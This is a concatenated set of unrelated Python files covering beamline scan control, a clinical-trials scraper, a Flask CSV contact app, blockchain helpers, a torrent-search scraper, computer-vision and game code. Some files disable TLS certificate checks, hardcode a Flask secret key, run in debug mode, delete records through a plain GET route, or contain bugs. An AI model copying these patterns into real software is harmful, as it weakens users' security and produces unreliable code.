    theta = global_PVs['Theta_Array'].get(count=int(variableDict['Projections']))
    return theta

def acquire_pre_dark(variableDict, global_PVs):
    if int(variableDict['PreDarkImages']) > 0:
        log_lib.info(' ')
        log_lib.info('  *** Pre Dark Fields')
        close_shutters(global_PVs, variableDict)
        capture_multiple_projections(global_PVs, variableDict, int(variableDict['PreDarkImages']), FrameTypeDark)
        log_lib.info('  *** Pre Dark Fields: Done!')

def acquire_pre_flat(variableDict, global_PVs):
    if int(variableDict['PreWhiteImages']) > 0:
        log_lib.info(' ')
        log_lib.info('  *** Pre White Fields')
        global_PVs['Cam1_AcquireTime'].put(float(variableDict['ExposureTime_Flat']) )
        open_shutters(global_PVs, variableDict)
        time.sleep(2)
        move_sample_out(global_PVs, variableDict)
        capture_multiple_projections(global_PVs, variableDict, int(variableDict['PreWhiteImages']), FrameTypeWhite)
        global_PVs['Cam1_AcquireTime'].put(float(variableDict['ExposureTime']) )
        log_lib.info('  *** Pre White Fields: Done!')

def acquire_post_flat(variableDict, global_PVs):
    if int(variableDict['PostWhiteImages']) > 0:
        log_lib.info(' ')
        log_lib.info('  *** Post White Fields')
        global_PVs['Cam1_AcquireTime'].put(float(variableDict['ExposureTime_Flat']) )
        move_sample_out(global_PVs, variableDict)
        capture_multiple_projections(global_PVs, variableDict, int(variableDict['PostWhiteImages']), FrameTypeWhite)
        global_PVs['Cam1_AcquireTime'].put(float(variableDict['ExposureTime']) )
        log_lib.info('  *** Post White Fields: Done!')

def acquire_post_dark(variableDict, global_PVs):
    if int(variableDict['PostDarkImages']) > 0:
        log_lib.info(' ')
        log_lib.info('  *** Post Dark Fields')
        close_shutters(global_PVs, variableDict)
        time.sleep(2)
        capture_multiple_projections(global_PVs, variableDict, int(variableDict['PostDarkImages']), FrameTypeDark)
        log_lib.info('  *** Post Dark Fields: Done!')

def move_dataset_to_run_dir(global_PVs, variableDict):
    log_lib.info('  ***  move_dataset_to_run_dir')
    try:
        txm_ui = imp.load_source('txm_ui', '/local/usr32idc/DMagic/doc/demo/txm_ui.py')
        run_dir = txm_ui.directory()
        full_path = global_PVs['HDF1_FullFileName_RBV'].get(as_string=True)
        base_name = os.path.basename(full_path)
        run_full_path = run_dir + '/' + base_name
        shutil.move(full_path, run_full_path)
        log_lib.info('  ***  move_dataset_to_run_dir: Done!')
    except:
        log_lib.error('error moving dataset to run directory')

########################## Interlaced #########################
# CODE WORKING BUT NOT CALLED IN FUNCTIONS YET!
def gen_interlaced(variableDict):
#                   lower_bound, upper_bound, nproj, nsubsets)
# Description: Generate interlaced view angles
  lower_bound = variableDict['SampleStart_Rot']
  upper_bound = variableDict['SampleEnd_Rot']
  nsubsets = variableDict['Interlaced_Sub_Cycles']
  nproj = variableDict['Projections']

  rem = nproj%nsubsets
  step = (1.*upper_bound-lower_bound)/nproj
  indices = []
  for i in range(0, nsubsets):
    count = int((nproj/nsubsets) + (i<rem))
    for j in range(0, count):
      indices.append((j*nsubsets+i)*step+lower_bound)
    if i==0: # to add the upper_bound at the end of the first subset
      indices.append(upper_bound)
    if i==nsubsets: # to remove the upper_bound at the end of the first subset
      indices = indices[-1]
  return indices

def gen_interlaced_bidirectional(variableDict):
#        lower_bound, upper_bound, nproj, nsubsets):
  lower_bound = variableDict['SampleStart_Rot']
  upper_bound = variableDict['SampleEnd_Rot']
  nsubsets = variableDict['Interlaced_Sub_Cycles']
  nproj = variableDict['Projections']

  rem = nproj%nsubsets
  step = (1.*upper_bound-lower_bound)/nproj
  indices = []
  direction = True
  for i in range(0, nsubsets):
    count = int((nproj/nsubsets) + (i<rem))
    visit = range(0, count) if direction else reversed(range(0, count))
    for j in visit:
      indices.append((j*nsubsets+i)*step+lower_bound)
    if i==0: # to add the upper_bound at the end of the first subset
      indices.append(upper_bound)
    direction = not direction
  return indices

# Generate a theta vector for interlaced scan using the code (and medm window) of Tim Money
# Only work between 0 and 180 degrees
def gen_interlaced_theta_Tim():
    #set num cycles to 1 so we only do 1 scan
    global_PVs['Interlaced_Num_Cycles'].put(1, wait=True)
    global_PVs['Interlaced_Images_Per_Cycle'].put(int(variableDict['Projections']), wait=True)
    #global_PVs['Interlaced_Images_Per_Cycle_RBV']
    global_PVs['Interlaced_Num_Sub_Cycles'].put(int(variableDict['Interlaced_Sub_Cycles']), wait=True)
    #global_PVs['Interlaced_Num_Revs_RBV']
    global_PVs['Interlaced_PROC'].put(1, wait=True)
    theta_arr = global_PVs['Interlaced_Theta_Arr'].get(int(variableDict['Projections']))

    # transform the interalce vector: values do not exeed 180, vector in saw shape
    coeff = numpy.floor(theta_arr / 360)
    theta_arr_tmp = numpy.copy(theta_arr) - coeff *360
    theta_arr_tmp2 = 180 - (theta_arr_tmp - 180)
    theta_arr_tmp[numpy.where(theta_arr_tmp>180)] = theta_arr_tmp2[numpy.where(theta_arr_tmp>180)]
    theta_arr = theta_arr_tmp

    return theta_arr

def gen_interlaced_theta_W(variableDict):
    #set num cycles to 1 so we only do 1 scan
    numproj = variableDict['Projections']
    prime = variableDict['Interlaced_prime']
    nProj_per_rot = variableDict['Interlaced_prj_per_rot']

    seq = []
    i = 0
    modulus = False # False = angle will increase above 360 degrees
    while len(seq) < numproj:
        b = i
        i += 1
        r = 0
        q = 1 / prime
        while (b != 0):
            a = numpy.mod(b, prime)
            r += (a * q)
            q /= prime
            b = numpy.floor(b / prime)
        r *= (360 / nProj_per_rot)
        k = 0
        while (numpy.logical_and(len(seq) < numproj, k < nProj_per_rot)):
            if modulus ==False:
                seq.append(r + k * 360 / nProj_per_rot + 360. * (i + 1) - 720)
            else:
                seq.append(r + k * 360 / nProj_per_rot)
            k += 1
    return seq
########################## Interlaced #########################

def reset_angles_0_360(global_PVs):
    log_lib.info('Reset angle value between 0 & 360 deg')
    current_angle = global_PVs['Motor_SampleRot'].get()
    reset_angle = current_angle -360*numpy.floor(current_angle/360)
    global_PVs['Motor_SampleRot_set'].put(1) # switch motor in "set" mode
    global_PVs['Motor_SampleRot'].put(reset_angle) # reset rotation value between 0 and 360 deg
    global_PVs['Motor_SampleRot_set'].put(0) # switch motor in "use" mode


import os
os.getcwd()
os.chdir('/Users/nicholasdevito/Desktop/euctr_res_scrape')
os.getcwd()

from requests import get, ConnectionError
from bs4 import BeautifulSoup
import re
from time import time, sleep
import pandas as pd
from multiprocessing import Pool
from tqdm import tqdm

import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

start_time = time()

def get_url(url):
    response = get(url, verify = False)
    html = response.content
    soup = BeautifulSoup(html, "html.parser")
    return soup

url = 'https://www.clinicaltrialsregister.eu/ctr-search/search?query=&resultsstatus=trials-with-results&page1'
soup = get_url(url)

#gets max page number
number_of_pages = soup.find('div', {'class': 'margin-bottom: 6px;'})
max_page_link = str(number_of_pages.find_all('a')[-1])
max_page = re.findall(r'\d+', max_page_link)[0]
print(f"max_page: {max_page}")

pages = list(range(1,int(max_page)+1))

#setting up variables for page URLs
euctr_base_url = 'https://www.clinicaltrialsregister.eu'
euctr_results_search_page = '/ctr-search/search?query=&resultsstatus=trials-with-results&page='

def try_to_connect(tries, url):
    for i in range(tries):
        try:
            page_html = get_url(url)
            break
        except ConnectionError:
            if i < tries - 1:
                print('Retrying {}...'.format(url))
                sleep(2)
                continue
            else:
                print('This URL failed: {url}')
                page_html = None
    return page_html

def get_trials(page):
    euctr_base_url = 'https://www.clinicaltrialsregister.eu'
    euctr_results_search_page = '/ctr-search/search?query=&resultsstatus=trials-with-results&page='

    #make the request
    page_html = try_to_connect(5, euctr_base_url + euctr_results_search_page + str(page))

    #get the tables
    trial_tables = page_html.find_all('table', {'class': 'result'})
    trial_info = []
    for trial_table in trial_tables:
        trial_id = trial_table.input.get('value')
        url = euctr_base_url + trial_table.find_all('a')[-1].get('href')
        trial_tuple = (trial_id, url)
        trial_info.append(trial_tuple)
    return trial_info

if __name__ == '__main__':
    with Pool() as p:
        trial_info = list(tqdm(p.imap(get_trials, pages), total=len(pages)))

tuples = list(trial_info)
tuples = [t for sublist in tuples for t in sublist]

print(f'There are {len(tuples)} trials')

def tds_strip(td_table, td):
    return td_table[td].div.get_text().strip()

def scrape_info(td_value, fp_n, cp_n, v_n):
    first_pub = tds_strip(td_value, fp_n)
    current_pub = tds_strip(td_value, cp_n)
    version = td_value[v_n].get_text().strip()
    return first_pub, current_pub, version

def get_results_info(tup):

    try:
        #make the request
        page_html = try_to_connect(5, tup[1])

        #select all the results tables
        leg_text = page_html.find('div', id = 'synopsisLegislationNote')
        leg_text = page_html.find('div', id = 'synopsisLegislationNote')
        try:
            trial_tables = page_html.find_all('table')[4]
        except IndexError:
            print(f'Error in trial {tup[0]}')
            r_dict = {}
            r_dict['trial_id'] = tup[0]
            r_dict['error'] = 'Error in Scrape'
            return r_dict
        td_value = trial_tables.find_all('td', class_ = 'valueColumn')
        td_label = trial_tables.find_all('td', class_ = 'labelColumn')

        r_dict = {}
        r_dict['trial_id'] = tup[0]
        r_dict['global_trial_end_date'] = tds_strip(td_value,3)

        if td_label[-1].div.get_text().strip() == 'Summary report(s)' and leg_text:
            fp, cp, v = scrape_info(td_value, 11, 10, 9)
            r_dict['first_pub_date'] = fp
            r_dict['current_pub_date'] = cp
            r_dict['version'] = v
            r_dict['results_type'] = 'Document'

        elif td_label[-1].div.get_text().strip() == 'Summary report(s)' and not leg_text:
            fp, cp, v = scrape_info(td_value, 7, 6, 5)
            r_dict['first_pub_date'] = fp
            r_dict['current_pub_date'] = cp
            r_dict['version'] = v
            r_dict['results_type'] = 'Mixed'

        else:
            fp, cp, v = scrape_info(td_value, 7, 6, 5)
            r_dict['first_pub_date'] = fp
            r_dict['current_pub_date'] = cp
            r_dict['version'] = v
            r_dict['results_type'] = 'Tabular'

        return r_dict
    except Exception as e:
        import sys
        raise type(e)(str(e) +
                   ' happens at {}'.format(tup[0])).with_traceback(sys.exc_info()[2])

if __name__ == '__main__':
    with Pool() as p:
        results = list(tqdm(p.imap(get_results_info, tuples), total=len(tuples)))

results = list(results)

if len(tuples) == len(results):
    print("All Scraped")
else:
    print("Error in Scrape: Difference of {} trials between first and second scrape".format(len(tuples) - len(results)))

results_df = pd.DataFrame(results)

#some data cleaning

cleaned = 0
for index, row in results_df.iterrows():
    if row.first_pub_date == 'No':
        results_df.at[index, 'first_pub_date'] = None
        results_df.at[index, 'current_pub_date'] = None
        results_df.at[index, 'version'] = None
        results_df.at[index, 'results_type'] = 'None Available'
        cleaned += 1

#dates to datetime
results_df['global_trial_end_date'] = pd.to_datetime(results_df['global_trial_end_date'])
results_df['first_pub_date'] = pd.to_datetime(results_df['first_pub_date'])
results_df['current_pub_date'] = pd.to_datetime(results_df['current_pub_date'])
print("Cleaned {} Rows".format(cleaned))

results_df.to_csv('euctr_results_scrape_mar.csv')

EUCTR (EU)/Results Section Scrape/EUCTR Results Scrape Multi.py


from flask import Flask, render_template, request, redirect, url_for
from flask import session
import csv

app = Flask(__name__)
app.secret_key = b'bafe004cc8de79cc96482b95db2d75473a3aa855b3270350267ccc92bddd46c5'

@app.route('/', methods=['GET', 'POST'])
@app.route("/index", methods=['GET', 'POST'])
def index():
    with open("data.csv", "r", encoding="utf-8") as fichier_csv:
        data = list(csv.DictReader(fichier_csv, delimiter=";"))
    return render_template('index.html', data=data)

@app.route("/encode_mail", methods=['GET', 'POST'])
def encode_mail():
    if request.method == 'GET':
        return render_template('encode_mail.html')

    elif request.method == 'POST':
        session['first_name'] = request.form['first_name']
        session['last_name'] = request.form['last_name']
        session['email'] = request.form['email']
        new_id = None

        with open("data.csv", "r", encoding="utf-8", newline="") as fichier_csv:
            data = list(csv.DictReader(fichier_csv, delimiter=";"))
            new_id = len(data) + 1

        with open("data.csv", "a", encoding="utf-8", newline="") as fichier_csv:
            writer = csv.writer(fichier_csv, delimiter=';')
            line = [new_id, session['first_name'], session['last_name'], session['email']]
            writer.writerow(line)

        return redirect('/submitted')

@app.route('/submitted')
def submitted():
    return render_template('submitted.html',
                           first_name=session['first_name'],
                           last_name=session['last_name'],
                           redirect=url_for('index'),
                           delay=5000,
                           )

@app.route('/edit/<id>', methods=['GET', 'POST'])
def edit(id):
    if request.method == 'GET':
        line = []
        with open("data.csv", "r", encoding="utf-8", newline="") as fichier_csv:
            data = list(csv.DictReader(fichier_csv, delimiter=";"))

            # Rechercher une ligne par son ID et modifier son contenu
            for line in data:
                if line['id'] == id:
                    prenom = line['prenom']
                    nom =  line['nom']
                    email = line['email']

        return render_template('edit_mail.html',
                                prenom = prenom,
                                nom = nom,
                                email = email
                                )

    elif request.method == 'POST':
        session['first_name'] = request.form['first_name']
        session['last_name'] = request.form['last_name']
        session['email'] = request.form['email']
        data = []

        with open("data.csv", "r", encoding="utf-8", newline="") as fichier_csv:
            data = list(csv.DictReader(fichier_csv, delimiter=";"))

        # Rechercher une ligne par son ID et modifier son contenu
        for line in data:
            if line['id'] == id:
                line['prenom'] = session['first_name']
                line['nom'] = session['last_name']
                line['email'] = session['email']

        # Réécrire le fichier CSV avec les modifications
        with open('data.csv', mode='w', newline='') as file:
            fieldnames = ['id', 'prenom', 'nom', 'email']
            writer = csv.DictWriter(file, fieldnames=fieldnames, delimiter=";")
            writer.writeheader()
            writer.writerows(data)

        return redirect('/submitted')

@app.route('/delete/<id>', methods=['GET'])
def delete(id):
    data = []

    with open("data.csv", "r", encoding="utf-8", newline="") as fichier_csv:
        data = list(csv.DictReader(fichier_csv, delimiter=";"))

    # Search for the dictionary that contains the line to be deleted
    for line in data:
        if line['id'] == id:
            # Remove the dictionary from the list
            data.remove(line)

    # Write the modified list of dictionaries to the CSV file
    with open('data.csv', mode='w', newline='') as file:
        fieldnames = ['id', 'prenom', 'nom', 'email']
        writer = csv.DictWriter(file, fieldnames=fieldnames, delimiter=";")
        writer.writeheader()
        writer.writerows(data)

    return redirect('/')

if __name__ == '__main__':
	app.run(debug=True)


from django.shortcuts import render
from django.http import HttpResponse
import json

# Create your views here.

def index(request,id):
    f = open('info/animals.json')
    data = json.load(f)
    context = {
                'family_name': data['families'][id]['name']}
    f.close()
    return render(request, 'index.html', context)

def anmls(request,id):
    f = open('info/animals.json')
    data = json.load(f)
    context = {
                'animals': data['animals'][id]['name'],
                'legs': data['animals'][id]['legs'],
                'weight': data['animals'][id]['weight'],
                'height': data['animals'][id]['height'],
                'speed': data['animals'][id]['speed'],
                'family': data['animals'][id]['family'],
                }
    f.close()
    return render(request, 'anmls.html', context)


from abc import ABC, abstractclassmethod
from Classes.Account import Account
from algosdk.encoding import encode_address, checksum
from algosdk.v2client.algod import AlgodClient
import base64
import json
import requests

GLOBAL_INT_PRICE = 28500
GLOBAL_BYTE_PRICE = 50000
LOCAL_INT_PRICE = 28500
LOCAL_BYTE_PRICE = 50000
MIN_BALANCE = int(1e5)

class SmartContract():

    def __init__(self, account: Account, app_id: int):
        self.app_id = app_id
        self.account = account
        if app_id != 0:
            self.app_address = get_app_address(app_id)
        else:
            self.app_address = None

def get_app_address(app_id: int) -> str:
    return encode_address(checksum(b'appID'+(app_id).to_bytes(8, 'big')))

def get_global_variables(app_id: int, algod_client: AlgodClient) -> dict:
    app_info = algod_client.application_info(app_id)
    global_variables = dict()
    for variable in app_info['params']['global-state']:
        bytes_key = base64.b64decode(variable['key'])
        key = bytes_key.decode("utf-8")
        if(variable['value']['type'] == 2):
            global_variables[key] = variable['value']['uint']
        else:
            global_variables[key] = variable['value']['bytes']
    return global_variables

def get_local_variables(account_address: str, app_id: int, algod_client: AlgodClient) -> dict:
    app_info = algod_client.account_application_info(account_address, app_id)
    local_variables = dict()
    for variable in app_info['app-local-state']['key-value']:
        bytes_key = base64.b64decode(variable['key'])
        key = bytes_key.decode("utf-8")
        if(variable['value']['type'] == 2):
            local_variables[key] = variable['value']['uint']
        else:
            local_variables(app_info)[key] = variable['value']['bytes']
    return local_variables

def box_cost(key: str, size: int) -> int:
    return (2500 + 400 * (len(key) + size))

def deploy_cost(global_ints: int, global_bytes: int) -> int:
    return MIN_BALANCE + global_ints * GLOBAL_INT_PRICE + global_bytes * GLOBAL_BYTE_PRICE

def local_storage_cost(global_ints: int, global_bytes: int) -> int:
    return MIN_BALANCE + global_ints * GLOBAL_INT_PRICE + global_bytes * GLOBAL_BYTE_PRICE

def var_to_base64(var_key: str) -> bytes:
    return base64.b64encode(var_key.encode())

def convert_address(b64_address:str):
    bytes_address = base64.b64decode(b64_address)
    str_address = encode_address(bytes_address)
    return str_address

def convert_box_names(b64_box_name:str):
    bytes_box_name = base64.b64decode(b64_box_name)
    str_box_name = encode_address(bytes_box_name)
    return str_box_name

def get_asset_json(algod_client: AlgodClient, asset_id: int) -> dict:
    asset_info = algod_client.asset_info(asset_id)
    print(asset_info)
    url = (asset_info)['params']['url']
    cid = url.removeprefix("ipfs://")
    ipfs_url = "https://ipfs.io/ipfs/" + cid
    response = requests.get(url= ipfs_url)
    response_json = json.loads(response.text)
    return response_json


import wget
import argparse
import os
import zipfile

def geturl(line):
    return line.strip().split(" ")[-1]

def getname(url):
    return url.split("/")[3] + ".zip"

# extend with actually downloading monolingual opus data - opus get does not do that currently.

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "-f", "--file", help="file with ro opus zip locations as given by opus_get list")
    parser.add_argument("-o", "--output",
                        default="./raw/opus",
                        help="output dir where archives will be downloaded")
    args = parser.parse_args()

    if not os.path.exists(args.output):
        os.makedirs(args.output)

    archives = [
        wget.download(geturl(l),
                      out=os.path.join(args.output, getname(geturl(l))))
        for l in open(args.file).readlines()]

    for a in archives:
        with zipfile.ZipFile(a, 'r') as zip_ref:
            zip_ref.extractall(args.output)
        os.remove(a)


class Solution:
    def topKFrequent(self, nums: List[int], k: int) -> List[int]:
        from collections import Counter
        c = Counter(nums)

        cnt = 0
        ans = []
        for cm in c.most_common():
            ans.append(cm[0])
            cnt += 1
            if cnt == k:
                break

        return ans


import json

from reformer.modeling import ReformerModel as PDReformerModel
from transformers.models.reformer.modeling_reformer import (
    ReformerModel as PTReformerModel,
)
from transformers import ReformerConfig
import paddle
from collections import OrderedDict

paddle.set_device("cpu")

def load_json(file_path):
    with open(str(file_path), "r", encoding="utf8") as f:
        data = json.load(f)
    return data

def to_paddle(x):
    return paddle.to_tensor(x.numpy())

def generate_random_2_layer():
    pdjson = load_json("weights/random_2_layer/model_config.json")
    pd_model = PDReformerModel(**pdjson)
    c = ReformerConfig.from_json_file("weights/random_2_layer/config.json")
    pt_model = PTReformerModel(c)
    pd_model.eval()
    pt_model.eval()
    d = OrderedDict()
    for k, v in pt_model.state_dict().items():
        if "_mask_value_" in k:
            continue
        if v.ndim == 2 and "embedding" not in k:
            v = v.transpose(1, 0)
        d[k] = to_paddle(v)
    pd_model.set_dict(d)
    pd_model.save_pretrained("weights/random_2_layer")
    pt_model.save_pretrained("weights/random_2_layer")

def generate_random_12_layer():
    pdjson = load_json("weights/random_12_layer/model_config.json")
    pd_model = PDReformerModel(**pdjson)
    c = ReformerConfig.from_json_file("weights/random_12_layer/config.json")
    pt_model = PTReformerModel(c)
    pd_model.eval()
    pt_model.eval()
    d = OrderedDict()
    for k, v in pt_model.state_dict().items():
        if "_mask_value_" in k:
            continue
        if v.ndim == 2 and "embedding" not in k:
            v = v.transpose(1, 0)
        d[k] = to_paddle(v)
    pd_model.set_dict(d)

    pd_model.save_pretrained("weights/random_12_layer")
    pt_model.save_pretrained("weights/random_12_layer")

if __name__ == "__main__":
    generate_random_2_layer()
    generate_random_12_layer()


import pygame
import cv2 as cv
import numpy as np
import imutils
from ball import Ball
from cart import Cart
from game import PygameGame

def rescaleFrame(frame, scale):
    width = int(frame.shape[1] * scale)
    height = int(frame.shape[0] * scale)
    dimensions = (width, height)
    return cv.resize(frame, dimensions, interpolation=cv.INTER_AREA)

def detect_and_draw_balls(frame, lower_range, upper_range, color):
    hsv = cv.cvtColor(frame, cv.COLOR_BGR2HSV)

    # Detect balls
    mask = cv.inRange(hsv, lower_range, upper_range)
    mask = cv.erode(mask, None, iterations=2)
    mask = cv.dilate(mask, None, iterations=2)
    contours = cv.findContours(mask, cv.RETR_EXTERNAL, cv.CHAIN_APPROX_SIMPLE)
    contours = imutils.grab_contours(contours)

    # Draw rectangles around balls
    for c in contours:
        # Calculate the area and circularity of the contour
        area = cv.contourArea(c)
        perimeter = cv.arcLength(c, True)
        circularity = 4 * np.pi * area / (perimeter * perimeter)

        # Ignore small or non-circular contours
        if area > 500 and circularity > 0.8:
            # Get the bounding box of the contour
            (x, y, w, h) = cv.boundingRect(c)

            # Calculate the center of the ball
            center_x = x + w // 2
            center_y = y + h // 2

            # Draw a rectangle around the contour
            cv.rectangle(frame, (x, y), (x + w, y + h), color, 2)

            # Display the coordinates of the center
            text = f"({center_x}, {center_y})"
            cv.putText(frame, text, (x, y - 10), cv.FONT_HERSHEY_SIMPLEX, 0.5, color, 2)

    return frame

capture = cv.VideoCapture("balls.mp4")

# Set the color ranges for the ping pong balls
lower_ranges = {
    "yellow": np.array([20, 100, 100]),
    "green": np.array([60, 100, 50]),
    "blue": np.array([100, 100, 50]),
    "red1": np.array([0, 100, 50]),
    "red2": np.array([170, 100, 50])
}

upper_ranges = {
    "yellow": np.array([40, 255, 255]),
    "green": np.array([100, 255, 255]),
    "blue": np.array([130, 255, 255]),
    "red1": np.array([10, 255, 255]),
    "red2": np.array([180, 255, 255])
}

colors = {
    "yellow": (0, 255, 255),
    "green": (0, 255, 0),
    "blue": (255, 0, 0),
    "red1": (0, 0, 255),
    "red2": (0, 0, 255)
}

while True:
    isTrue, frame = capture.read()
    if not isTrue:
        break
    frame_resized = rescaleFrame(frame, 0.5)

    # Detect and draw balls of different colors
    for color in colors:
        frame_resized = detect_and_draw_balls(frame_resized, lower_ranges[color], upper_ranges[color], colors[color])

    # Show the modified frame
    cv.imshow("Frame", frame_resized)

    # Exit if the 'd' key is pressed
    if cv.waitKey(20) & 0xFF == ord('d'):
        break

capture.release()
cv.destroyAllWindows()


import requests
import logging

from bs4 import BeautifulSoup

from torrer.constants import TIMEOUT_AMT

logger = logging.getLogger(__name__)

def search(pb_url: str, query: str) -> str:
    """
    Searches pirates bay for the top result and looks for the top result

    Args:
        pb_url (str): pirates bay url
            The pirates bay url to use as there are many and the main one I use is down
        query (str): The search query for the pirates bay

    Returns:
        str: The link to the top result of the search
    """
    search_url: str = f"{pb_url}/search/{query}"
    logger.info(f"Search url is {search_url}")

    r: requests.Response = requests.get(search_url, timeout=TIMEOUT_AMT)
    r.raise_for_status()

    logger.info(f"Parsing {search_url} for top result")
    html: BeautifulSoup = BeautifulSoup(r.text, features="lxml")
    top_result_element = html.find_all("a", class_="detLink")[
        0
    ]  # 0 to grab the first index
    top_result_link: str = top_result_element["href"]

    logger.info(f"Top result is {top_result_link}")
    return top_result_link

def parse_search_result(torrent_page: str) -> str:
    """
    Gets the magnet link from an individual torrent page

    Args:
        torrent_page (str): The individual torrent page to download
            the magnet link from. Is an url

    Returns:
        str: The magnet link
    """
    r: requests.Response = requests.get(torrent_page, timeout=TIMEOUT_AMT)
    r.raise_for_status()

    html: BeautifulSoup = BeautifulSoup(r.text, features="lxml")

    logger.info("Finding the magnet link")
    download_class = html.find("div", {"class": "download"})
    a_divs = download_class.find_all("a")[0]
    magnet_link = a_divs["href"]

    logger.info(f"Magnet link: {magnet_link}")
    return magnet_link


import setuptools

with open("README.md", "r", encoding="utf-8") as fh:
    long_description = fh.read()

setuptools.setup(
    name="fastpreprocess",
    version="0.2.2",
    entry_points = {
        'console_scripts': [
            'fastpreprocess = fastpreprocess.fastwork:run_from_local',
            'fp = fastpreprocess.fastwork:run_from_local'
        ],
    },
    author="Lal Krishna Arjun",
    author_email="lk.arjun@hotmail.com",
    description="A new way to preprocess data for ML.",
    long_description=long_description,
    long_description_content_type="text/markdown",
    project_urls={
        "Source Code": "https://github.com/lkarjun/fastpreprocess",
    },
    classifiers=[
        "Programming Language :: Python :: 3.7",
        "License :: OSI Approved :: MIT License",
        "Operating System :: OS Independent",
        "Development Status :: 4 - Beta"
    ],
    packages=setuptools.find_packages(),
    python_requires=">=3.7",
    install_requires=[
        "uvicorn==0.13.4",
        "pydantic==1.8.2",
        "numpy==1.20.3",
        "python-multipart",
        "fastapi==0.65.2",
        "pandas==1.2.4",
        "tqdm==4.60.0",
        "jinja2==2.11.3",
        "pyngrok==5.0.5",
        "nest-asyncio==1.5.1",
        "aiofiles==0.7.0",
        "httptools==0.2.0",
    ],
    package_data={"fastpreprocess": ["template/*", "static/*"]},
    include_package_data = True
)


import sys
from typing import Iterator
sys.path.append('src/udf/python')  # noqa

from risingwave.udf import udf, udtf, UdfServer

@udf(input_types=[], result_type='INT')
def int_42() -> int:
    return 42

@udf(input_types=['INT', 'INT'], result_type='INT')
def gcd(x: int, y: int) -> int:
    while y != 0:
        (x, y) = (y, x % y)
    return x

@udf(input_types=['INT', 'INT', 'INT'], result_type='INT')
def gcd3(x: int, y: int, z: int) -> int:
    return gcd(gcd(x, y), z)

@udtf(input_types='INT', result_types='INT')
def series(n: int) -> Iterator[int]:
    for i in range(n):
        yield i

@udtf(input_types=['INT'], result_types=['INT', 'VARCHAR'])
def series2(n: int) -> Iterator[tuple[int, str]]:
    for i in range(n):
        yield i, str(i)

if __name__ == '__main__':
    server = UdfServer()
    server.add_function(int_42)
    server.add_function(gcd)
    server.add_function(gcd3)
    server.add_function(series)
    server.add_function(series2)
    server.serve()


import sys
import pygame

# Keyboard events
def check_keydown_events(event, settings, screen, ship,
    bullets):
    if event.key == pygame.K_q:
        sys.exit()

    elif event.key == pygame.K_UP:
        ship.moving_up = True

    elif event.key == pygame.K_DOWN:
        ship.moving_down = True

    elif event.key == pygame.K_SPACE:
        for bullet in bullets:
            if bullet.need_reload == False:
                bullet.shooting_bullet = True

    elif event.key == pygame.K_r:
        bullets.empty()

def check_keyup_events(event, settings, screen, ship):
    if event.key == pygame.K_UP:
        ship.moving_up = False
    elif event.key == pygame.K_DOWN:
        ship.moving_down = False

def check_events(settings, screen, ship, bullets, stats, play_button):
    for event in pygame.event.get():
        if event.type == pygame.QUIT:
            sys.exit()
        elif event.type == pygame.KEYDOWN:
            check_keydown_events(event, settings, screen, ship,
                bullets)
        elif event.type == pygame.KEYUP:
            check_keyup_events(event, settings, screen, ship)
        elif event.type == pygame.MOUSEBUTTONDOWN:
            mouse_x, mouse_y = pygame.mouse.get_pos()
            check_play_button(settings, screen, stats, play_button, ship,
                bullets, mouse_x, mouse_y)

def check_bullet_target_collisions(settings, screen, bullets,
        target, stats):
    if pygame.sprite.spritecollideany(target, bullets):
        stats.target_hit = True
        stats.reset_tries()
        bullets.empty()

def start_game(settings, screen, stats, ship, bullets):
    """Start the game"""
    pygame.mouse.set_visible(False)
    stats.reset_tries()
    stats.game_running = True

def check_play_button(settings, screen, stats, play_button, ship, bullets, mouse_x,
     mouse_y):
     """ Start a new game when the player clicks play."""
     button_clicked = play_button.rect.collidepoint(mouse_x, mouse_y)
     if button_clicked and not stats.game_running:
         start_game(settings, screen, stats, ship, bullets)


from __future__ import absolute_import
from __future__ import division
from __future__ import print_function

import argparse

import json
import numpy as np

import torch
import time
import os
from six.moves import cPickle
import opts
import misc.utils as utils
from misc import eval_utils
from misc.dataloader import *
from misc.dataloader.dataloader import *
from misc.dataloader.dataloader_pool import *
from models import *

NUM_THREADS = 2  # int(os.environ['OMP_NUM_THREADS'])

# Input arguments and options
parser = argparse.ArgumentParser()
parser.add_argument('--model_name', type=str, default='debug',help='')
parser.add_argument('--caption_model', type=str, default='debug',help='')
parser.add_argument('--start_from', type=str, default='save/09021100.lm_stack_cap_2finestages', help='None')
parser.add_argument('--data_type', type=int, default=1)  # 'use pool to load pre-extracted features from dir'
# Model settings
parser.add_argument('--exchange_vocab', type=int, default=0)
# Input paths
parser.add_argument('--disp_coarse_to_fine', type=int, default=0)
parser.add_argument('--dump_output', type=int, default=0)
parser.add_argument('--shuffle', type=int, default=0)#load shuffled data from h5 or dir
parser.add_argument('--pool_loader', type=int, default=0)#use pool to load pre-extracted features from dir
parser.add_argument('--pre_ft', type=int, default=1)#pre extracted feature input
# Basic options
parser.add_argument('--batch_size', type=int, default=50)#if > 0 then overrule, otherwise load from checkpoint.
parser.add_argument('--val_images_use', type=int, default=5000)#how many images to use when periodically evaluating the loss? (-1 = all)
parser.add_argument('--language_eval', type=int, default=0)
parser.add_argument('--dump_images', type=int, default=0) #Dump images into vis/imgs folder for vis? (1=yes,0=no)
parser.add_argument('--dump_json', type=int, default=0) #Dump json with predictions into vis folder? (1=yes,0=no)
parser.add_argument('--dump_path', type=int, default=0) #Write image paths along with predictions into vis json? (1=yes,0=no)
# Sampling options
parser.add_argument('--sample_max', type=int, default=1) #1 = sample argmax words. 0 = sample from distributions.
parser.add_argument('--beam_size', type=int, default=5)
parser.add_argument('--temperature', type=float, default=1.0)
# For evaluation on a folder of images:
parser.add_argument('--server', type=int, default=0)#if running on MSCOCO challenge
parser.add_argument('--server_best', type=int, default=1)#if running on MSCOCO challenge
parser.add_argument('--split', type=str, default='test')#if running on MSCOCO images, which split to use: val|test|train
parser.add_argument('--coco_json', type=str, default='data/mscoco/annotations/image_info_test2014.json')#if nonempty then use this file in DataLoaderRaw (see docs there)
parser.add_argument('--image_folder', type=str, default='data/mscoco/test2014')#If this is nonempty then will predict on the images in this folder path
parser.add_argument('--image_root', type=str, default='') #In case the image paths have to be preprended with a root path to an image folder
# For evaluation on a folder of h5 file:
parser.add_argument('--input_json', type=str, default='data/mscoco/cocotalk_karpathy_0816.json')
parser.add_argument('--input_im_h5', type=str, default='data/mscoco/cocotalk_karpathy_images.h5')
parser.add_argument('--input_fc_h5', type=str, default='data/mscoco/cocotalk_karpathy_fc_0816.h5')
